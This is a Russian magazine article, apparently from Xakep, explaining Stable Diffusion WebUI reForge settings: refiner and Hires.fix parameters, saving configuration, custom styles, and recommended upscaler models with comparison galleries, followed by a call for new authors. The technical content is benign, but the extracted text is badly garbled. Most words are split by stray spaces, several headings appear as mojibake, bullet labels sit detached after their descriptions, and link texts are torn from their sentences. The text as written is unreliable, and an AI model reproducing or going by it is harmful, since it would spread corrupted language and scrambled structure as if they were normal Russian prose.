обра ти вни мание на нас трой ку сни зу на скрин шоте — Which pass to enable
rener for.

• Refiner

Ре комен дую нас тро ить рефай нер для пер вого про хода (rst pass), так как его
вклю чение на эта пе Hires.x мало на что вли яет. Если ты это сде лаешь, то
для собс твен но вто рого про хода (Hires.x) име ет смысл выб рать ту же
базовую модель, что и для рефай нера, — в про тив ном слу чае резуль тат
работы рефай нера будет «съеден» во вре мя вто рого про хода. Не забудь при- 
менить изме нение нас тро ек кноп кой Apply Settings.

На конец, мы подош ли к одной из самых инте рес ных воз можнос тей
WebUI — нас трой кам вто рого про хода. За это отве чает алго ритм Hires.x,
который поз воля ет повышать раз решение кар тинки и одновре мен но исправ- 
лять мел кие огре хи генера ции.

 — нас трой ки вто рого про хода, который вклю чает ся выс тавле- 

нием галоч ки Hires.x.

• Hires.fix

 — выбор модели повыше ния раз решения. Это кри тичес ки важ- 

ный параметр, пос коль ку пра виль ная модель смо жет испра вить типич ные
для задан ного типа изоб ражений огре хи и соз дать убе дитель ную кар тину,
рисунок или фотог рафию высоко го раз решения. Для начала мож но выб- 
рать какую-нибудь уни вер саль ную модель DAT или HAT; на край ний слу- 
чай — ESRGAN_4x. Модели для повыше ния раз решения мы под робно
обсу дим в сле дующем раз деле.

• Upscaler

 — чис ло шагов для вто рого про хода. Нач ни с 10–20 шагов;

со вре менем ты опре делишь для себя опти маль ное зна чение.

• Hires steps

 — во сколь ко раз повышать раз решение. Нач ни со зна- 
чения 2; для сла бых виде окарт, воз можно, при дет ся понизить его до 1,5.
Либо мож но ука зать жела емое раз решение кар тинки в пик селях.

• Upscale by

 — коэф фици ент шумопо дав ления. Еще один очень
важ ный параметр, опре деля ющий силу дей ствия алго рит ма. Чем мень ше
это зна чение, тем мень шее вли яние на кар тинку (помимо повыше ния раз- 
решения) ока жет алго ритм; чем боль ше — тем более гру бые огре хи смо- 
гут быть исправ лены вто рым про ходом. В то же вре мя слиш ком боль шое
зна чение при ведет к мутаци ям; кар тинка прев раща ется в сюр.
Для реалис тичных изоб ражений поп робуй зна чения от 0,15 до 0,3,
для абс трак тных мож но исполь зовать более высокие коэф фици енты —
до 0,5. Отдель но отме чу семей ство алго рит мов Latent, которые работа ют
в латен тном прос транс тве. Для них минималь но допус тимое зна чение
denoise — поряд ка 0,6; с мень шими зна чени ями кар тинка прев раща ется
в шум. В то же вре мя при зна чении 0,6 уро вень мутаций заш калива ет, что
дела ет алго рит мы Latent малоп ригод ными для исполь зования.

• Denoising strength

 — здесь мож но выб рать отдель ную базовую модель
для вто рого про хода. Это может ока зать ся полез ным, ког да исполь зуют ся
темати чес кие обу чен ные модели (осо бен но — в пер вых вер сиях),
в резуль татах работы которых могут при сутс тво вать неболь шие огре хи.
Исполь зование уни вер саль ной модели-ремик са вто рым про ходом с нем- 
ного повышен ным коэф фици ентом шумопо дав ления час то поз воля ет
сгла дить шерохо ватос ти обу чен ных моделей. Заод но получишь резуль тат,
недос тижимый в рам ках уни вер саль ной модели.

• Hires checkpoint

Дру гой сце нарий исполь зования раз дель ных моделей для пер вого и вто рого
про хода — генера ция уско рен ными моделя ми (LCM, Turbo, Lightning, Hyper,
TCD и так далее). В таких слу чаях пер вый про ход, как пра вило, генери рует ся
уско рен ной моделью, а вто рой — обыч ной, что поз воля ет сгла дить огре хи,
час то воз ника ющие при уско рен ной генера ции. (В скоб ках замечу, что сущес- 
тву ют и гиб ридные уско рен ные модели, которые мож но исполь зовать
для обо их про ходов.)

 — здесь мож но ука зать дру гой алго ритм сем- 
пле ра. Он может ока зать ся полез ным при исполь зовании уско рен ных
моделей. Кро ме того, в некото рых слу чаях при мене ние схо дяще гося сем- 
пле ра может умень шить нежела тель ные мутации при повышен ном коэф- 
фици енте шумопо дав ления. Для начала эту нас трой ку луч ше не тро гать.

• Hires sampling method

Ка жет ся, пока всё. Мож но прис тупать к генера ции кар тинок, а мож но изме- 
нить еще нес коль ко нас тро ек и заод но сох ранить нас трой ки сре ды.

Ñîõðàíåíèå íàñòðîåê
Ра зуме ется, было бы стран но каж дый раз нас тра ивать WebUI при его запус ке.
Сох ранить зна чения нас тро ек мож но на вклад ке Settings → Defaults, нажать
View Changes и затем Apply. Все изме нения будут сох ранены в фай ле

\stable-diffusion-webui-reForge\webui\ui-config.json 

При желании ты можешь как редак тировать его вруч ную, так и соз давать его
копии с раз ными набора ми нас тро ек (впро чем, с этой целью все-таки луч ше
исполь зовать пла гин — нап ример, ).Cong Presets

Äîïîëíèòåëüíûå íàñòðîéêè
По мимо нас тро ек, дос тупных на пер вом экра не, сто ит поменять и некото рые
дру гие нас трой ки на вклад ке Settings.

Во-пер вых, име ет смысл поменять нас трой ки пред прос мотра, как показа- 
но на скрин шоте.

Зна чимые нас трой ки здесь — TAESD в качес тве метода пред прос мотра (это
быс трый и качес твен ный метод), а так же обновле ние каж дые 250 мс (вмес то
еже секун дных).

В нас трой ках Stable Diffusion ты можешь захотеть кеширо вать модели
в памяти. По умол чанию в памяти хра нит ся единс твен ная модель, но если
количес тво RAM (имен но RAM, не виде опа мяти) поз воля ет, то мож но уве- 
личить чис ло кеширу емых моделей.

Кро ме того, я рекомен дую вклю чить нас трой ку Enable quantization in K
samplers, которая ока зыва ет малоза мет ный, но ста тис тичес ки зна чимый
положи тель ный эффект на качес тво генера ции. Еще одна потен циаль но инте- 
рес ная нас трой ка — No norm в Emphasis mode. У меня она вык лючена; вклю- 
чать ее рекомен дует ся, ког да на некото рых моделях в слу чай ных генера циях
воз ника ет абсо лют но чер ная или силь но зашум ленная кар тинка. Эта осо бен- 
ность была замече на в ори гиналь ных моделях Animagine и Pony Diffusion; если
вклю чить No norm, это меня ет алго ритм вычис ления весовых коэф фици ентов
токенов и, соот ветс твен но, меня ет конеч ный резуль тат. Поэто му у меня эта
нас трой ка вык лючена.

На конец, еще одна нас трой ка, на сей раз — чис то визу аль ная: име ет смысл
умень шить раз мер кар точек в лис тинге базовых моделей и лор, который
откры вает ся на вклад ках Checkpoints и Loras. По умол чанию раз мер кар точек
слиш ком велик, десят ки моделей на экра не не уме щают ся.

Продолжение статьи →
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ГЕНЕРИРУЕМЫЕ STABLE DIFFUSION

GEEK  НАЧАЛО СТАТЬИ←

ÐÀÁÎÒÀ ÑÎ ÑÒÈËßÌÈ

В статье « » я
рас ска зывал, для чего нуж ны сти ли, что они собой пред став ляют и как
работа ют. В при ложе нии Fooocus есть ряд пре дус танов ленных сти лей и даже
один динами чес кий, исполь зующий GPT-подоб ную язы ковую модель для рас- 
ширения зап росов. В WebUI Forge пре дус танов ленных сти лей нет, поэто му их
при дет ся уста новить отдель но, ска чав с GitHub или добавив самос тоятель но.

Stable Diffusion XL. Выбира ем модели, рефай неры, лоры и сти ли

Сти ли из Fooocus, уже скон верти рован ные в нуж ный для A1111 фор мат,
мож но ска чать с .GitHub

Те бе нужен файл . Положи его в пап ку 

, переза пус ти WebUI и обно ви окно бра узе ра, если оно было откры то;
все новые сти ли дол жны под хва тить ся авто мати чес ки.

styles.csv <путь к WebUI Forge>\
webui\

Ты можешь добав лять собс твен ные сти ли как из веб-интерфей са, так и пря- 
мым редак тирова нием фай ла . К при меру, если ты поль зуешь ся

моделью Pony, то необ ходимые для работы модели теги мож но про писать
в виде сти ля (воп роситель ные зна ки замени исполь зуемы ми сти лями — нап- 
ример, ,  или  из докумен тации

модели):

styles.csv

source_anime source_cartoon source_pony

style_Pony,"score_9, score_8_up, score_7_up, score_6_up, score_5_up, 
score_4_up, source_????, rating_????, BREAK {prompt}", 

Об рати вни мание на запятую в кон це стро ки. Это не опе чат ка; пос ле запятой
может идти стро ка с негатив ными клю чевы ми сло вами. В дан ном слу чае она
пус та.

Я уже при водил собс твен ный стиль Cinematic, он опи сыва ется сле дующей
стро кой:

style_Cinematic,"photorealistic, cinematic, {prompt} . cinematic 
angle, cinematic lighting, highly detailed, amazing, finely detailed,
more realistic, Ultra HD 32k, cinematic, 4k, footage from an epic 

movie, clear focus, detailed character design, ultra-high resolution,
perfectly composed, UHD", 

Ин терес ная осо бен ность WebUI: если ты сге нери руешь изоб ражение,
исполь зовав какой-либо стиль, то при пос леду ющем откры тии этой кар тинки
на вклад ке PNG Info и перено се из нее парамет ров генера ции в окно txt2img
прог рамма авто мати чес ки рас позна ет стиль и под клю чит его. Впро чем,
это не сра бота ет, если нуж ного сти ля нет в спис ке или если ты отре дак- 
тировал стиль пос ле соз дания изоб ражения.

HIRES.FIX: ÃÅÍÅÐÈÐÓÅÌ ÊÀÐÒÈÍÊÈ ÂÛÑÎÊÎÃÎ ÐÀÇÐÅØÅÍÈß

В интерфейс WebUI встро ен мощ ный и удоб ный механизм, поз воля ющий
генери ровать кар тинки в раз решении, пре выша ющем стан дар тные воз- 
можнос ти Stable Diffusion. Да, ты можешь ука зать в парамет рах генера ции
выход ное раз решение 2048 ⨉ 2048; кста ти, поп робуй это сде лать
на каком-нибудь прос том зап росе. Возь мем, нап ример, зап рос «a cat sitting
on a chair» и сге нери руем кар тинку в стан дар тном для SDXL раз решении 1024
⨉ 1024.

Ни чего необыч ного. А теперь в качес тве выход ного раз решения ука жем 2048
⨉ 2048.

Или дру гой при мер. При генера ции кар тинки в раз решении 1024 ⨉ 1024.

Ука зание при том же сиде выход ного раз решения 2048 ⨉ 2048 выдаст уже
такую кар тинку.

А вот при мер исполь зования латен тно го апскей лера (да-да, того самого,
который работа ет в латен тном прос транс тве, но тре бует высоко го коэф фици- 
ента шумопо дав ления с высоки ми же мутаци ями).

Это про исхо дит из-за того, что Stable Diffusion XL обу чена на изоб ражени ях,
раз решение которых не пре выша ет один мегапик сель вне зависи мос ти
от выб ранно го соот ношения сто рон. С перемен ным успе хом ты можешь
попытать ся рас тянуть рам ки, но с удво ением раз решения ней росеть теря ет
кон текст, генери руя изоб ражение по час тям. В резуль тате может получить ся
кош ка с дву мя голова ми и шестью лапами — или и вов се две кош ки.

Проб лему мож но решить раз ными спо соба ми. Один из них — исполь- 
зование инс тру мен та под наз вани ем Hires.x, который может под нять раз- 
решение ори гиналь ной кар тинки до двух-четырех крат ного. При мер — ниже.

Не подумай, что это — что-то подоб ное клас сичес ким методам уве личе ния
изоб ражений вро де bicubic или Lanczos. Нет, механизм Hires.x — это фак- 
тичес ки вто рой про ход генера ции изоб ражения, исполь зующий ту же (или
любую дру гую по тво ему выбору) базовую модель Stable Diffusion и тот же
(или дру гой, опять же — по тво ему выбору) тек сто вый зап рос.

По мимо основной модели, механизм исполь зует и спе циаль ную модель —
upscaler. Выбор этой модели кри тичес ки важен: некото рые апскей леры
хорошо работа ют на реалис тичных изоб ражени ях, под робно переда вая тек- 
сту ры, но заод но уве личи вают и шумы, в том чис ле арте фак ты ком прес сии
JPEG. «Что-что? — спро сишь ты. — Отку да шумы и арте фак ты JPEG в сге- 
нери рован ных ней росетью изоб ражени ях?» Так ведь кар тинки, на которых
энту зиас ты обу чают кас томные модели, зачас тую и явля ются такими вот
пережа тыми джпе гами...

По бороть шумы и арте фак ты помога ют модели апскей леров, обу чен ные
на зашум ленных и пережа тых кар тинках. Но в зависи мос ти от выб ранной
модели могут пос тра дать такие детали, как тек сту ра тка ней и кожи, шерсть
и про чее.

На конец, для изоб ражений в сти ле псев до-3D, а так же иллюс тра ций и кар- 
тинок в сти ле ани ме сущес тву ют свои алго рит мы, обу чен ные на нуж ных дан- 
ных.

В бли жай шем будущем я пла нирую боль шую статью с обзо ром тех нологий
уве личе ния раз решения и сде лан ных на их осно ве моделей апскей леров
для WebUI и не толь ко. Сей час же я опи шу некото рые модели для раз ных
типов изоб ражений.

Ãäå áðàòü ìîäåëè
От вет прост: на сай те . Одна ко WebUI под держи вает не все
пред став ленные на сай те архи тек туры. Сре ди под держи ваемых: ESRGAN,
ESRGAN+, Real-ESRGAN, DAT, DAT2, HAT, Swin-IR. При поис ке 
толь ко модели под держи ваемых архи тек тур.

openmodeldb.info

мож но выб рать

×òî ðåêîìåíäóþò íà Reddit è ïî÷åìó íå ñòîèò ñëåïî äîâåðÿòü
ðåêîìåíäàöèÿì
В темати чес ких вет ках на Reddit и дру гих ресур сах, пос вящен ных ней росетям,
неред ко обсужда ют воп рос о луч шей модели апскей лера для тех или иных
целей. Чаще все го поль зовате ли рекомен дуют для реалис тичных изоб- 
ражений и R-ESRGAN 4x+ Anime6B для рисован ных сле дующие модели:

4x_foolhardy_Remacri;•
4x_NMKD-Siax_200k;•
4xUltrasharp_4xUltrasharpV10.•

Эти модели — одни из луч ших из име ющих ся в рам ках архи тек тур ESRGAN
и Real-ESRGAN соот ветс твен но. Проб лема в том, что сами эти архи тек туры
дав но уста рели. Да, они по-преж нему работа ют, и ты по-преж нему можешь их
исполь зовать — но более сов ремен ные архи тек туры DAT (

) и HAT (
) не прос то выдадут кар тинку более высоко го качес тва,

в чем мы убе дим ся нес коль ко минут спус тя, но еще и будут спо соб ны хорошо
уве личи вать изоб ражения из более широко го диапа зона, чем модели
на архи тек туре ESRGAN. Упро щая, там, где модель на архи тек туре ESRGAN
хорошо передаст либо струк туру кожи, либо шерсть живот ного, либо гра- 
диен ты, модель на архи тек туре DAT смо жет с боль шей веро ятностью сде лать
и то, и дру гое, и третье.

Dual Aggregation
Transformer for Image Super-Resolution Hybrid Attention Transformer for
Image Restoration

Новые модели в WebUI reForge
По срав нению с WebUI Forge, в фор ке reForge под держи вают ся допол нитель- 
ные модели апскей леров. В их чис ло вхо дят COMPACT, GRL, OmniSR, SPAN,
SRFormer. Из все го раз нооб разия новых архи тек тур для высоко качес твен ного
апскей ла луч ше все го подой дет SRFormer; в качес тве модели могу пореко- 
мен довать .4xNomos8kSCSRFormer

Ос таль ные модели дос таточ но лег ковес ны и луч ше подой дут для повыше- 
ния раз решения у виде оро ликов, чем у ста тич ных изоб ражений высоко го раз- 
решения.

Ин форма ции о моделях, их архи тек туре и раз личи ях меж ду ними — бук валь но
кро хи. Их нуж но собирать из раз ных источни ков, из скуд ных опи саний самих
моделей и опуб ликован ных иссле дова тель ских работ. Вре мя от вре мени раз- 
работ чики моделей апскей леров пишут о них на Reddit, но прак тичес ки всег- 
да в фор ме корот ких рекомен даций без каких-либо объ ясне ний. В то же вре- 
мя в сети дос таточ но ресур сов, на которых срав нива ются резуль таты работы
самых раз ных моделей апскей леров.

WWW

Боль шая галерея — срав нение нес коль ких десят- 
ков моделей апскей леров

Я про тес тировал нес коль ко десят ков моделей мно жес тва архи тек тур и оста- 
новил ся на нес коль ких.

Äëÿ èëëþñòðàöèé, àíèìå è èçîáðàæåíèé â ñòèëå øòðèõîâîé
ãðàôèêè
Для прос тых дву мер ных кар тинок час то рекомен дуют ста рый, зато очень быс- 
трый и нет ребова тель ный к объ ему виде опа мяти алго ритм R-ESRGAN 4x+
Anime6B (тех нология Real-ESRGAN) — который, что надо учи тывать, заод но
под нима ет рез кость, кон траст и насыщен ность изоб ражения. Я рекомен дую
этот алго ритм толь ко для дву мер ных кар тинок в «циф ровом» сти ле, в которых
нет ими тации мел ков, вос ковых каран дашей, чер нил или туши; нет никаких
тек стур, но есть чет кие кон туры и плав ные гра диен ты.

Ес ли же такие эле мен ты при сутс тву ют, то я пред почитаю более щадящий
алго ритм 4x_IllustrationJaNai_V1_DAT2_190k (архи тек тура DAT2), который сох- 
раня ет не толь ко сами штри хи, но и тек сту ры и сте пень нажима, если речь
идет о рисун ках мел ками. Алго рит мы Real-ESRGAN име ют тен денцию
«съедать» такие детали, выдавая кон трастные, «глян цевые» вер сии изоб- 
ражений.

Äëÿ ïñåâäîðåàëèñòè÷íûõ èçîáðàæåíèé è ãðàôèêè â ñòèëå 2.5D
è 3D
Как пра вило, в таких изоб ражени ях отсутс тву ют шумы, арте фак ты сжа тия
JPEG и тон кие нерегу ляр ные тек сту ры, но при сутс тву ют перехо ды цве тов
и гра диен ты. Соот ветс твен но, нет необ ходимос ти под нимать кон турную рез- 
кость и бороть ся с арте фак тами и сох ранять тек сту ры, а если такая необ- 
ходимость и воз никнет — исполь зуй модель для реалис тичной гра фики.

Для гра фики такого типа мож но рекомен довать один из алго рит мов
на осно ве архи тек тур DAT, DAT2 (облегчен ная вер сия DAT) или HAT, нап- 
ример 4xNomos8kSCHAT-L (так же прек расно работа ет с реалис тичной гра- 
фикой), 4xNomos8kDAT или 4xNomosUniDAT2_box. Если в сге нери рован ных
кар тинках при уве личе нии вид ны арте фак ты JPEG, то сто ит исполь зовать вер- 
сии otf, обу чен ные на сжа тых изоб ражени ях, — 4xLexicaDAT2_otf
или 4xNomosUniDAT_bokeh_jpg.

Äëÿ ôîòîðåàëèñòè÷íûõ èçîáðàæåíèé
«Фотог рафичес кие» модели обу чают на кад рах из филь мов и реаль ных
фотог рафи ях, на которых встре чают ся как шумы (циф ровой и пле ноч ный), так
и арте фак ты ком прес сии. Соот ветс твен но, в некото рых слу чаях ней росеть
может генери ровать изоб ражения с такими шумами; арте фак ты ком прес сии
могут при сутс тво вать лишь в некото рых учас тках изоб ражения. Пре дуга дать
появ ление арте фак тов тяжело; это зависит лишь от того, на каком матери але
обу чалась модель, — или от того, какие имен но обу чен ные модели исполь- 
зовал автор модели-ремик са.

По резуль татам дли тель ного тес тирова ния я оста новил ся на нес коль ких
моделях: 4xNomos8kSCHAT-L или 4xNomos8kDAT для изоб ражений без арте- 
фак тов ком прес сии и 4xNomos8kHAT-L_otf или све жей
модели 4xRealWebPhoto_v4_dat2 — для кар тинок, которые нуж но почис тить
от арте фак тов. При этом модель 4xNomos8kSCHAT-L име ет тен денцию прив- 
носить излишнюю рез кость и дво ения в зону раз мытия; если этот эффект
нежела телен, исполь зуй дру гую модель. Обра ти вни мание на перила в пра- 
вом ниж нем углу изоб ражения.

Срав ни с работой модели 4xNomos8kDAT.

Для котиков и пор тре тов отлично под ходит 4xFaceUpDAT (архи тек тура DAT),
который замеча тель но переда ет фак туру шер сти и волос, но име ет тен- 
денцию прев ращать в шерсть и волосы все, что хоть нем ного их напоми нает
(нап ример, тра ву на лужай ке). Модель 4xFaceUpSharpDAT даст допол нитель- 
ную кон турную рез кость при мень шей фак тичес кой детали зации кар тинки.

В сухом остатке:
для качес твен ных моделей + фоторе ализм: 4xNomos8kSCHAT-L (самая
рез кая и одновре мен но детали зиро ван ная модель, но обра ти вни мание
на зону раз мытия — в ней может воз никнуть эффект дво ения)
либо 4xNomos8kDAT;

•

для котиков и лицевых пор тре тов: 4xFaceUpDAT (дер жим в уме, что модель
име ет потен циал прев ращать в волосы все, отда лен но на них похожее);

•

для фоторе алис тичных изоб ражений с арте фак тами ком прес сии JPEG:
4xNomos8kHAT-L_otf или 4xRealWebPhoto_v4_dat2;

•

для псев до-3D и син тетичес ких изоб ражений без тон ких тек стур:
4xNomos8kSCHAT-L, 4xNomos8kDAT, 4xNomosUniDAT2_box;

•

для иллюс тра ций и слож ных кар тинок в сти ле ани ме:
4x_IllustrationJaNai_V1_DAT2_190k;

•

для прос той гра фики и «плос ких» ани ме-изоб ражений: R-ESRGAN 4x+
Anime6B (вни мание: алго ритм уве личи вает рез кость, кон траст и насыщен- 
ность изоб ражения) или одну из моделей на осно ве ESRGAN, нап- 
ример 4x_BooruGan_650k-ESRGAN, 4x_fatal_Anime_500000_G
или NMKD_SuperYandere_175k.

•

ÃÀËÅÐÅß

Что бы не быть голос ловным, вык ладываю галереи, иллюс три рующие работу
раз личных моделей и архи тек тур.

4xNomos8kSCHAT-L, 4xNomos8kDAT, 4xFaceUpDAT

4xNomosUniDAT2_box, DAT_2_x4, 2x_SwinIR-M_x2_GAN

2x_SwinIR-M_x2_GAN, 4xNomosUniDAT2_box, DAT_2_x4

4x-nomos8k-dat, 4xFaceUpDAT, 4x-Nomos8k-schat-l

Ре комен дую ана лизи ровать уве личен ные вер сии изоб ражений. Раз личия
меж ду моделя ми осо бен но чет ко про явля ются на шер сти, волосах, тек сту ре
платья и коже лица.

ÏÐÎÄÎËÆÅÍÈÅ ÑËÅÄÓÅÒ

В этой статье я опи сал лишь самые азы работы с WebUI. Про читав ее, ты смо- 
жешь сде лать началь ные нас трой ки и сге нери ровать пер вые удач ные изоб- 
ражения, избе жав оши бок нович ков.

Од нако воз можнос ти WebUI не огра ниче ны опи сан ным. В сле дующих
стать ях я пла нирую под робно рас ска зать об осо бен ностях моделей повыше- 
ния раз решения, о раз нице меж ду сем пле рами и шедуле рами, о зна чении
парамет ра CFG и механиз мах, поз воля ющих спра вить ся с избы точ ным кон- 
трас том при его повыше нии за пре делы сред них зна чений.

Хо чет ся погово рить и об инс тру мен те для авто мати чес кого исправ ления
лиц и рук, исполь зующем допол нитель ные модели для ана лиза изоб ражений,
поис ка нуж ных эле мен тов и их тща тель ной отри сов ки в повышен ном раз- 
решении.

И разуме ется, хочет ся разоб рать ся с сис темой Control Net, которую мно- 
гие счи тают кра еуголь ным кам нем Stable Diffusion и которая поз воля ет соз- 
давать пол ноцен ные изоб ражения на осно ве нарисо ван ных от руки скет чей.

https://xakep.ru/2024/03/14/sdxl-fine-tuning
https://github.com/thundercat71/Automatic1111-Fooocus-Styles
https://github.com/thundercat71/Automatic1111-Fooocus-Styles/blob/main/styles.csv
https://openmodeldb.info/
https://openmodeldb.info/?t=arch%3Adat+arch%3Aesrgan+arch%3Aesrgan%2B+arch%3Ahat+arch%3Aswinir
https://github.com/zhengchen1999/DAT
https://github.com/XPixelGroup/HAT
https://openmodeldb.info/models/4x-Nomos8kSCSRFormer
https://phhofm.github.io/upscale/multimodels.html#examples


СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
https://xakep.ru/contact/
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